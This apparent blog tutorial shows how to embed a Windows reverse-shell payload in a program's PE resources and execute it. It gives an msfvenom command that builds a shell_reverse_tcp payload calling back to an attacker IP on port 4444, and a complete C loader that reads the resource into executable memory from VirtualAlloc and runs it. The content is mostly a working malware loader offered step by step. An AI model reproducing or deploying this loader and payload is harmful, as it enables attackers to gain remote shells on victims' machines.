Embed Shellcode into PE Resources

In this blog post, we'll cover how to embed shellcode into PE resources and execute it.

Prerequisites

  1. Coding experience with C/C++.

  2. Visual Studio.

Steps to Embed Shellcode into PE Resources

  1. Generate and save a simple reverse shell payload as raw with msfvenom (you can use Cobalt Strike too).

  2. Import the reverse shell file into Resource Files in Visual Studio.

  3. Find the resource by its name.

  4. Get the size of the resource data.

  5. Get the actual resource data which is the shellcode.

  6. Allocate a virtual memory space to write the shellcode.

  7. Copy the shellcode into the allocated virtual memory space.

  8. Execute the reverse shell.

Step #1 - Generate Reverse Shell

msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 -o reverse_shell.bin

Step #2 - Import The Reverse Shell File

  1. Solution Explorer -> Resource Files (right click on it) -> Add -> Resource

  2. Click the Import button, then select the reverse_shell.bin file.

  3. Give a resource name, you can choose anything. I'm going to name it reverse_shell.

Step #3 - Find The Resource

To find the resource, we're going to use FindResource. The function takes 3 parameters:

[in, optional] HMODULE hModule

If this parameter is NULL, the function searches the module used to create the current process.

[in] lpName

The name of the resource. Alternately, rather than a pointer, this parameter can be MAKEINTRESOURCE(ID), where ID is the integer identifier of the resource.

[in] lpType

The resource type. Alternately, rather than a pointer, this parameter can be MAKEINTRESOURCE(ID), where ID is the integer identifier of the given resource type.

Before we start to code this part, let's learn how to find lpName and lpType values.

  1. Solution Explorer -> Resource Files

  2. Click the .rc file.

  3. In the Resource View tab, you're going to see something similar to IDR_REVERSE_SHELL1 which is the ID of resource, and then the parent's folder name is the lpType.

#include <windows.h>
#include "resource.h"

int main(int argc, char** argv) {
	HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");

	return 0;
}

Step #4 - Get The Size of Shellcode

We need to use SizeofResource to find the size of a resource data. The function take 2 parameters:

[in, optional] hModule

A handle to the module whose executable file contains the resource.

We're going to set it to NULL.

[in] hResInfo

A handle to the resource.

#include <windows.h>
#include "resource.h"

int main(int argc, char** argv) {
	HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");

	if (resource) {
		DWORD resourceSize = SizeofResource(NULL, resource);
	}

	return 0;
}

Step #5 - Get The Shellcode Data

To get the shellcode data, we're going to use LoadResource. The function takes the same parameters as SizeofResource.

#include <windows.h>
#include "resource.h"

int main(int argc, char** argv) {
	HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");

	if (resource) {
		DWORD resourceSize = SizeofResource(NULL, resource);
		HGLOBAL resourceData = LoadResource(NULL, resource);
	}

	return 0;
}

Step #6, 7, 8 - Execute The Shellcode

We're cover the steps 6, 7, 8 together. The final part is very simple. We're going to allocate a virtual memory space via VirtualAlloc and write to it via memcpy. Then we're going to execute the shellcode.

#include <windows.h>
#include "resource.h"

int main(int argc, char** argv) {
	HRSRC resource = FindResource(NULL, MAKEINTRESOURCE(IDR_REVERSE_SHELL1), L"REVERSE_SHELL");

	if (resource) {
		DWORD resourceSize = SizeofResource(NULL, resource);
		HGLOBAL resourceData = LoadResource(NULL, resource);
		
		void* exec = VirtualAlloc(0, resourceSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		
		if (exec && resourceData) {
			memcpy(exec, resourceData, resourceSize);
			((void(*)())exec)();
		}
	}

	return 0;
}

Last updated

Was this helpful?